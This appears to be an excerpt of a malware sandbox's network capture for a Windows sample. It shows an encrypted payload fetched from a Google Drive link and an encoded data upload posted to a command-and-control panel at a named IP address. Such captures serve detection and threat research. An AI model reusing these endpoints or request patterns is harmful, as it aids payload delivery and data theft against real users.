f9 55 62 73 48 4a bb aa 08 8a 6d af 8d 5e 6a 6e 06 55 bd e5 0d 9d 2c b0 d8 53 2b 69 06 1a 8d 8a 3c d8 61 ad c9 58 25 0d 65 30 ed c5 6f f8 0c c2 ad 3d d0 6d 63 fb 56 c9 0a 6a 93 ce c8 af 94 0c 0d a8 25 ab 0a 6b 92 ce c8 af e7 6e 09 a9 54 c9 0a 6a e0 ac 37 af 95 0c 0d a8 25 ab 08 6b 92 ce c8 af 59 69 0b 52 56 c9 0a 6a 5c 87 ad 3d 47 01 6a 3a 48 7f 4d 54 0c c2 ad 3d 0b 00 68 3a 29 c5 6d d9 07 c3 a3 37 0b 06 68 3a c9 c1 6f f8 0c c2 ad 3d 0b 00 68 3a c9 d5 6f f8 0c e2 ad 3d 0b 00 68 2a c9 d5 6f f8 0c c0 ad 3d 01 00 68 3a c3 c5 6f f8 06 c2 ad 3d 0b 00 68 3a c9 f5 6f f8 0c c0 ad 3d 07 4a 68 3a ca c5 2f fd 0c c2 a9 3d 0b 10 68 3a c9 c5 7f f8 0c d2 ad 3d 0b 00 68 3a d9 c5 6f f8 0c d3 ad 3d 20 03 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 20 68 3a 39 c6 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c9 6f f8 34 ff ad 3d 0b 00 68 3a c9 c5 6f f8 0c d2 ad 3d 5f 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a e7 b1 0a 80 78 c2 ad 3d 20 04 68 3a c9 d5 6f f8 0c c4 ad 3d 0b 02 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a e9 c5 6f 98 22 b0 de 4f 68 00 68 3a 39 c6 6f f8 0c e2 ad 3d 0b 04 68 3a c9 cd 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 4c c2 ad 7d 0b 00 68 3a 48 7f 4d 54 0c c2 ad 3d 09 00 68 3a f2 c5 6f f8 58 d2 ad 3d 5f 02 68 3a c9 c5 6f f8 8d 78 8f 91 0b 00 68 3a c4 c5 6f f8 68 c2 ad 3d 9b 10 68 3a 59 c7 6f f8 0c c2 ad 3d 8a ba 4a 96 c9 c5 6f f8 1c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 59 53 2c 69 84 87 aa 3b de 62 98 30 4c b9 50 ac ee 66 0b 0d 0d c2 ad 3d 6a 70 01 17 a4 b6 42 8f 65 ac 80 5e 64 72 0d 17 aa aa 01 8b 63 ae c8 10 67 31 45 0b e4 f5 41 88 68 a0 ad 3d 0b 00 68 3a c9 d5 6f f8 58 c2 ad 3d 25 72 0c 5b bd a4 6f f8 58 d2 ad 3d a7 00 68 3a e7 b7 0b 99 78 a3 89 47 71 7a 0c 58 ae c5 6f f8 0c d3 ad 3d 20 03 68 3a e7 a0 0b 99 78 a3 ad 3d 0b 20 68 3a a9 c5 6f f8 22 b0 de 4f 68 24 58 0b c9 c5 6f f8 6c e2 ad 3d 9b 03 68 3a e7 b7 1c 8a 6f e6 9d 0f 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 8d 78 8f 91 0b 00 68 3a 7d d4 6f f8 0d c2 ad 3d 05 00 68 3a c7 c5 6f f8 24 d3 ad 3d 6b 11 68 3a 51 d4 6f f8 e8 d3 ad 3d 0c 12 68 3a e5 d7 6f f8 5b d0 ad 3d 9a 12 68 3a 03 d7 6f f8 fe d0 ad 3d 11 13 68 3a 8e d6 6f f8 63 d1 ad 3d 90 13 68 3a 00 d6 6f f8 e3 d1 ad 3d 1f 14 68 3a 1e d4 6f f8 f6 d3 ad 3d 16 12 68 3a 8d d7 6f f8 7f d0 ad 3d b3 12 68 3a 2c d7 6f f8 04 d1 ad 3d 3e 13 68 3a ab d6 6f f8 89 d1 ad 3d b1 13 68 3a 28 d6 6f f8 0a d6 ad 3d 0b 00 69 3a cb c5 6c f8 08 c2 a8 3d 0d 00 6f 3a c1 c5 66 f8 06 c2 a6 3d 07 00 65 3a a8 b5 06 d5 61 b1 80 4a 62 6e 45 59 a6 b7 0a d5 6f ad c3 4e 64 6c 0d 17 a5 f4 42 c9 21 f2 83 59 67 6c 68 7b a5 a9 00 9b 4f ad c3 4e 64 6c 0d 3a a2 a0 1d 96 69 ae 9e 0f 25 41 04 56 a6 a6 2c 97 62 b1 c2 51 6e 00 2f 5f bd 86 00 96 7f ad c1 58 48 50 68 Data Ascii: 443e391iFsA~xtyF}FYfrIC@^8FH:t>@NO[=A"i1d!\|i!Sxo_^=ol=h:6:o=h:o=h:o=h:o=h:qo3a}nUbsHJm^jnU,S+i<aX%e0o=mcVj%knTj7%kYiRVj\=Gj:HMT=h:)m7h:o=h:o=h*o=h:o=h:o=Jh:/=h:=h:o= h:o= h:9o=h:o4=h:o=_h:o=h:o=h:o=h:o=h:o=h:o=h:x= h:o=h:o=h:o"Ohh:9o=h:o=h:oL}h:HMT=h:oX=_h:oxh:oh=h:Yo=Jo=h:o=YS,i;b0LPf=jpBe^drcg1EAh=h:oX=%r[oX=h:xGqzXo= h:x= h:o"Oh$Xol=h:oh:o=h:oxh:}o=h:o$=kh:Qo=h:o[=h:o=h:oc=h:o=h:o=h:o=h:,o=>h:o=h:(o=i:l=o:f=e:aJbnEYoNdlB!Yglh{ONdl:i%AV,bQn/_XHPh
Dec 19, 2021 21:13:24.174422026 CET	10635	IN	Data Raw: 51 ac b7 01 9d 60 f1 9f 13 4c 65 1c 79 a6 ab 1c 97 60 a7 ee 6d 0b 47 0d 4e 8a aa 01 8b 63 ae c8 70 64 64 0d 3a a2 a0 1d 96 69 ae 9e 0f 25 47 0d 4e 8a aa 01 8b 63 ae c8 70 64 64 0d 3a 8e a0 1b bb 63 ac de 52 67 65 27 4f bd b5 1a 8c 4f 92 ad 56 6e Data Ascii: Q`Ley`mGNcpdd:i%GNcpdd:cRge'OOVnr_]K~dnU xIHPh}!aODf+UiM~t-LOee(xPieuXBnOb=[eQctepN~Q82FjcRge!T\oCTMXynV
Dec 19, 2021 21:13:24.174485922 CET	10636	IN	Data Raw: c2 ad 3d 43 00 78 3a c8 c5 29 f8 65 c2 c1 3d 6e 00 2c 3a ac c5 1c f8 6f c2 df 3d 62 00 18 3a bd c5 06 f8 63 c2 c3 3d 0b 00 68 3a 88 c5 1f f8 65 c2 fe 3d 6e 00 1c 3a e9 c5 3c f8 78 c2 d8 3d 69 00 48 3a 8d c5 23 f8 40 c2 ad 3d 61 00 4d 3a c8 c5 29 Data Ascii: =Cx:)e=n,:o=b:c=h:e=n:<x=iH:#@=aM:)e=n>:=d:o==%X:^:=2Q:^9=#?:N=b:A==;Y:^"=3X:F==c:&b=n:`=j:om=b:=~:o=
Dec 19, 2021 21:13:24.174540997 CET	10638	IN	Data Raw: 27 33 8f e4 f2 38 2b 60 de 01 31 e5 f4 dd 75 ee 4d 9f f6 34 74 8b c8 39 97 c4 75 75 b7 e9 bd 4b a9 70 4c 3f 2c 6b d3 c0 54 df 87 bc 2d d0 14 d5 5b 17 c8 98 91 1f b4 8c 13 43 d0 5c 72 81 13 31 02 82 82 10 da 52 6b 88 71 c9 f4 06 fd e4 e5 b2 1a 6a Data Ascii: '38+`1uM4t9uuKpL?,kT-[C\r1RkqjnGVXrc`Ll?&{.5-\k-BT0?bcK0-4Y-,k;zX':9^vn]A;Uu_:\|V z
Dec 19, 2021 21:13:24.174596071 CET	10639	IN	Data Raw: 9b 12 28 36 02 6b 3b c9 c4 cc 7a 0d a2 9d bf 0a 5c 58 29 cf c6 3a e5 29 c6 a1 0d 01 06 60 11 cf c4 6a fd 0b c1 ae 0d 16 06 6b 6f d4 cb 6b ee 08 d6 23 d5 66 0f 19 79 27 1c 50 bc a5 aa 89 68 ff e5 a2 5a e7 f2 5f a9 0a c1 f8 20 1a 04 22 0a 81 61 29 Data Ascii: (6k;z\X):)`jkok#fy'PhZ_ "a)Hko\|M?0Z<k28Xjm-_B>j6]^V92fpX,IXi\{Xl:F0#e(~II{:GaOds\aVb/Hc^
Dec 19, 2021 21:13:24.174654007 CET	10640	IN	Data Raw: 1c 43 50 8e 60 6c f9 05 0c 64 a6 54 86 11 e8 5f e1 0a cb 86 3b 0a 04 69 b8 fe d1 6d fc 00 dc a7 3d 58 00 1d 3a ab c5 2c f8 4d f2 b2 3b 08 55 75 19 cd dd 5f ee 8c d6 a3 91 89 60 28 6c ee 52 8a dd 1f 3e 87 dc 01 53 fd 63 2d 61 5f a8 0a c1 f8 20 14 Data Ascii: CP`ldT_;im=X:,M;Uu_`(lR>Sc-a_ !*XOb4hN@ofiHxRf/Q`OddY@eRxoNoI%cVi'8i;_<5 i?_IpR"^yoUAcM`iGY#^yoU=cXytFY
Dec 19, 2021 21:13:24.174715996 CET	10642	IN	Data Raw: 3e 5a a6 b9 01 a6 18 82 91 90 01 09 01 6f 1d 00 02 6b 3b c9 c4 cc 7a 0d 69 9d bf 0a a7 58 35 cf c6 3a e5 1f c3 ac c2 0f 05 58 39 c8 c4 90 c8 11 c4 ae 68 16 0e 6c 2c cd d1 4c cc f4 1b ff 7b 7b 0a 85 7a 32 b3 94 4b 27 72 6e 08 b8 0f 58 31 cf c6 3a Data Ascii: >Zok;ziX5:X9hl,L{{z2K'rnX1:>f<7};m,='h<C 9'.0P6cj07~?vP:X-fjK>'di#oNdfD>$%ScYoNxTha_dT
Dec 19, 2021 21:13:24.174774885 CET	10643	IN	Data Raw: 3a aa c5 1d f8 63 c2 de 3d 64 00 0e 3a bd c5 4f f8 5b c2 c4 3d 65 00 0c 3a a6 c5 18 f8 7f 63 8f bd 2b 68 1c 4e b9 ff 40 d7 7b b5 da 13 66 69 0b 48 a6 b6 00 9e 78 ec ce 52 66 2f 1f 53 a7 a1 00 8f 7f f2 a0 3b 02 2a ee 72 4f 32 62 f9 0d c3 a8 3d 0f Data Ascii: :c=d:O[=e:c+hN@{fiHxRf/S;*rO2b=i:A@)R8ycO`dBM,~h&3q'/\>tIP?_C`76dz17%9:`q~8F=yoNv9n3f"L.a6R.?
Dec 19, 2021 21:13:24.174834967 CET	10645	IN	Data Raw: b1 c2 5b 7f 20 2b 55 bb b5 00 8a 6d b6 c4 52 65 31 64 0a c3 c3 6c ad 08 c9 be 3e 4a 4f 2b 0b d7 f5 73 fe 0f 97 a9 3e 18 15 25 53 aa b7 00 8b 63 a4 d9 1d 48 6f 1a 4a a6 b7 0e 8c 65 ad c3 0d 89 01 4a 0a c4 c3 66 d2 8a 8a 2b ca 06 01 69 3b cc c5 6c Data Ascii: [ +UmRe1dl>JO+s>%ScHoJeJf+i;lzb8Kn1ZU~\|dhx,^GHc233P=r62V5TVwfL+5I)^9Mih4P2q68Ud!>2_XQNg
Dec 19, 2021 21:13:24.174894094 CET	10646	IN	Data Raw: 53 ae ab 06 96 6b e2 fd 7e 4a 20 5a 0a f8 f5 5f 7a 0d e0 9d 30 0d 09 42 bc 81 43 98 f5 0d c3 ac 38 0b 03 ea 3b c6 c5 5f 7a 0d c8 af bf 0a 01 68 d3 c7 a1 3f 81 6b 77 69 de f6 09 68 76 57 51 c3 0f 5a aa 47 79 d3 cf ad 62 86 6c ca 8e 70 af e8 87 d8 Data Ascii: Sk~J Z_z0BC8;_zh?kwihvWQZGyblp9mi@I~Uh2DPMKszpmQQUk\rE4%h.I+&E[_t:[UZ%H]W lMo)6.R3z
Dec 19, 2021 21:13:24.199558020 CET	10648	IN	Data Raw: c3 9d bc 9e 30 16 0b c2 f5 66 fe 0f 97 a9 3b 18 02 3d 69 f8 d6 5f e9 0a c1 f8 39 03 13 62 6d a8 b6 07 91 62 a5 d9 52 65 31 78 0a c7 c3 6c ad 08 c5 be 3a 59 65 0c 57 a6 ab 0b c9 12 f2 b1 3b 08 55 6c 30 da d0 22 91 6f b0 c2 4e 64 66 1c 1a 8a aa 1d Data Ascii: 0f;=i_9bmbRe1xl:YeW;Ul0"oNdfcIboI>%ScHo_bZ+P+{_<it4h:_C9nb/<0y<5<ln<4! >n;+n;bk<1fe<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49799	185.29.11.112	80	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data
Dec 19, 2021 21:13:48.610234976 CET	15598	OUT	POST /rothchildnew/Panel/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 185.29.11.112 Content-Length: 73426 Cache-Control: no-cache
Dec 19, 2021 21:13:48.610349894 CET	15605	OUT	Data Raw: 31 63 a6 6b 65 8c 5b 32 8b 4b 3b f8 3c 27 f8 38 39 89 20 3e fc 34 32 e5 34 32 9e 4c 27 8d 4c 48 fb 3a 3b f1 4c 3a f0 35 5d e5 5b 4c f1 4c 32 8a 3a 4b 8c 20 3a 8e 4c 3a e5 39 32 f1 34 27 8a 39 58 8c 20 4e f0 3d 3a fe 3a 39 f0 49 5b 8b 49 34 8d 28 Data Ascii: 1cke[2K;<'89 >4242L'LH:;L:5][LL2:K :L:924'9X N=::9I[I4(9(9L/;N>??N(9(9(9(9(9(9(9(8L/8/:IH/:/4/IL(9(9(9(9(9O/I/4/>/?/:H>;>?>3q/</=/H/=vddb}(8(9(9(8Hdhxchv(9(9q/4/
Dec 19, 2021 21:13:48.634322882 CET	15614	OUT	Data Raw: 0d 22 6a 87 49 da 87 50 e0 0c 22 6d af 8a da 87 22 68 0f 98 5e 87 49 da 87 50 82 0d 22 6a 87 0a e1 24 7b 8d 0d 2f dc b9 9e 48 25 af 6a 8d 18 42 57 23 48 99 58 19 45 0e 6a 9b 80 c8 47 50 cd 19 ca e0 af 80 c8 25 a8 42 0d 22 6a 87 0a e0 af 80 c8 47 Data Ascii: "jIP"m"h^IP"j${/H%jBW#HXEjGP%B"jGv7r7o"t2FGr9H{?mdWB^n-t=wkvma7wRs`M+"guYI]lqH1lg[PGr
Dec 19, 2021 21:13:48.634995937 CET	15619	OUT	Data Raw: 15 51 73 6d 37 cc 86 f4 fd c9 72 2e e3 11 63 a5 c6 da 26 8f 98 b4 0d 4b d9 f5 c8 5c 56 1f d7 2c 37 0d 94 1a 72 d5 8e 95 e4 26 7f e6 90 f7 99 52 67 9e 66 96 6a 23 5f 86 92 87 7d a2 d7 87 6d a9 a8 72 03 3b a0 af 80 c8 25 a8 42 09 1e 99 48 09 c2 25 Data Ascii: Qsm7r.c&K\V,7r&Rgfj#_}mr;%BH%HPWh%H"jd",xP9DILH+$c\|KmBQZ%j \O[ \O#+dbhjPBW#H\OZ$c ; /=HBW_
Dec 19, 2021 21:13:48.635035038 CET	15624	OUT	Data Raw: 48 0a e5 19 9e 98 0f db 81 48 08 d5 97 56 1b 24 63 4d 8a 09 83 97 6c a1 7e 4a 64 31 10 94 d9 73 6d c0 08 79 2d 3e 28 67 26 1a eb 92 64 47 07 e6 67 2a a1 cc a2 ee c9 aa 1a 8e 5b ce a8 07 82 c9 f8 5b 8b fe fd 2f 46 9f b0 5c ce 99 3f 83 85 bf 93 17 Data Ascii: HHV$cMl~Jd1smy->(g&dGg[[/F\?;5\Qw8o`@Bz5=?@VB?Z=rcVVTIPRJkg=>Y5E;RS4'^%X#XV#,C0`.Q/ZftGxB
Dec 19, 2021 21:13:48.658570051 CET	15633	OUT	Data Raw: e5 a3 b9 41 af 9a 45 b6 5f 20 d3 45 54 84 26 4c f6 9d 99 ad ce a1 ce ba 66 13 1b 4a 47 e2 ff 6c 6e ae 2b b5 1c 92 3d c0 7b 26 74 3f 1d d2 bc fc 1e ff 66 44 b0 52 3d d0 8d f7 97 dd f8 98 b6 4a 61 ac c5 b0 e5 b2 92 fa 3c 42 9a d8 f0 44 59 7b 54 65 Data Ascii: AE_ ET&LfJGln+={&t?fDR=Ja<BDY{Te\|Gri"yDb\|ax.dQyl:x8!~%5@&Lpk?D=7er>'+3aBMQf5_eyJ&\qvhPy4"EUc7;Q
Dec 19, 2021 21:13:48.658637047 CET	15640	OUT	Data Raw: 4f 9e 9a 5e 8f c8 20 27 ed 18 4e 42 24 de 12 5c 46 8a dc 4f dc c9 1e 6b a0 2f e0 ad 0f 6a 87 22 d8 b9 58 99 41 0f 05 25 ae dc b9 02 e0 af 80 c8 57 50 82 25 1a 22 24 23 a1 85 23 a1 24 62 d8 5c 4f ca 8d 00 99 48 27 ca 1b 80 82 25 1a 7c 5c 4f f8 23 Data Ascii: O^ 'NB$\FOk/j"XA%WP%"$##$b\OH'%\|\O#P?@H7wv$_7~ Gv_NO%mH%BMH\OPW8_^XvliBM6U\|g[~73n[g!~LhHyHN
Dec 19, 2021 21:13:48.658662081 CET	15646	OUT	Data Raw: 23 23 40 4d 23 a0 c8 22 dc c9 1e 7c 6f 9d dc c9 2b 6c c8 31 dc 6f 97 4d 7c b2 6d c8 31 dc 6f 81 cd cb e8 5c 07 56 9b 8f d9 78 96 19 a5 23 d0 95 ab 96 df db 97 4d 7c aa d9 42 16 19 87 7a d0 e7 20 1a 28 ba ca 8e cf f3 0e dc 58 ed 59 ec 64 2e 1a 6d Data Ascii: ##@M#"\|o+l1oM\|m1o\Vx#M\|Bz (XYd.m"kK R'!LY C[XYv5q{v0yvwq=9eYF{Bc7"7Pdjec^dDL0SlE":[
Dec 19, 2021 21:13:48.658879995 CET	15654	OUT	Data Raw: 40 d7 84 d0 43 52 51 c9 2d 12 b0 5b 78 39 fc 94 af ba b4 4d 2e 9d 90 ae 64 01 9c d1 7c d4 40 2b a2 6c 3e 1a 67 64 9a 4e c1 b3 de 79 85 2b 99 fd 3a 20 0a 9e 43 52 41 db 80 ad a8 42 47 49 de 9f 80 c5 0d 2b 6c af 80 8b 1f 80 f9 48 2b 5c e5 a8 5e b4 Data Ascii: @CRQ-[x9M.d\|@+l>gdNy+: CRABGI+lH+\^H QhCjcmmb1q?m{$Ku\Pu4-F9on.],'_}Hy[H\TGh7fk'*@JB-vSk8j,.\|B
Dec 19, 2021 21:13:48.658905983 CET	15656	OUT	Data Raw: 19 0a 99 48 1e c8 5c 4f dc 0d 5b 8d 19 0a 99 48 1e c8 5c 4f dc 0d 5b 8d 19 0a 99 48 1e c8 5c 4f dc 0d 5b 8d 19 0a 99 48 1e 0c 19 58 19 4d 03 8d 19 58 c8 af 80 e0 0d a8 42 25 0a 6d a9 a8 48 1b 80 82 24 8a 7c 5f 58 18 0c 4f dc 5d 0b 8d 19 5a ca dc Data Ascii: H\O[H\O[H\O[HXMXB%mH$\|_XO]ZOXZO[HW#H\O[FJ[Zd"hB$H_H;['\|_[O]('XZH\\\BX\W#Kbd9H*9lCH/_H/[=B%
Dec 19, 2021 21:13:48.658922911 CET	15664	OUT	Data Raw: 78 d7 a4 75 77 dc 5c 57 cc 08 63 21 37 0c 6b a1 35 32 10 b3 f9 ea 0c 9f f4 5a b6 32 eb 91 98 e3 b6 11 db fc f0 55 09 db 43 b3 63 a4 10 9d 26 4b 8a 55 16 3a 49 36 48 0a ee 96 fa 37 0d 45 4e 0e f7 69 2e d6 04 ce 15 e1 25 a3 3c f8 f6 b7 27 cf 1e 71 Data Ascii: xuw\Wc!7k52Z2UCc&KU:I6H7ENi.%<'qf8K5*yA'tgc$/RI7S]-6&U3hkJQVHES(X[d'hiFT[giWX3bfcrY+`Y\|y+%i[
Dec 19, 2021 21:13:48.832227945 CET	15672	IN	HTTP/1.1 200 OK Date: Sun, 19 Dec 2021 20:13:48 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.13 X-Powered-By: PHP/8.0.13 Content-Length: 5 Content-Type: text/html; charset=UTF-8 Data Raw: ef bb bf 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49786	172.217.168.46	443	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-19 20:13:22 UTC	0	OUT	GET /uc?export=download&id=17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM- HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-12-19 20:13:23 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sun, 19 Dec 2021 20:13:23 GMT Location: https://doc-0o-b4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7bnkiq90sqb2f9a5rfbavvv8a7avoa21/1639944750000/11699732749327025486/*/17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_l9ocaq" Content-Security-Policy: script-src 'nonce-HGdq+5DxIoxDZxOQL50UwA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ Report-To: {"group":"coop_gse_l9ocaq","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_l9ocaq"}]} X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=VQQLQ0Cy-fWx6cY9tVlt8T_wExO04_IGesLH9jXAJByHFvL77ppOZJ7uaNiOXPF01UBWUEFPmi2pfVRDQ-3eh3T-R86w9A3n18IHs-0_t1H8e9bEqRLLXTHN2PANt-pfD0xpNwaWw6Iwrif9ZPu-3wqtxPZ006a1iNsUOJjViMI; expires=Mon, 20-Jun-2022 20:13:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-12-19 20:13:23 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6f 2d 62 34 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 37 62 6e 6b Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0o-b4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7bnk
2021-12-19 20:13:23 UTC	2	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49787	172.217.168.1	443	C:\Users\user\Desktop\1COK25f1vT.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-19 20:13:23 UTC	2	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7bnkiq90sqb2f9a5rfbavvv8a7avoa21/1639944750000/11699732749327025486/*/17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0o-b4-docs.googleusercontent.com Connection: Keep-Alive
2021-12-19 20:13:23 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdtv4kLwNNoaaubjZclyG6f68PPmx5xyOdxnHKB_THxKB7cmi6tG_rRV-RCfMd7C9ALpLnFX7BJCZa_QyUzxjao Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="New Rothchild Raw File_IjaehmG39.bin";filename*=UTF-8''New%20Rothchild%20Raw%20File_IjaehmG39.bin Content-Length: 115264 Date: Sun, 19 Dec 2021 20:13:23 GMT Expires: Sun, 19 Dec 2021 20:13:23 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=NFQQ7A== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
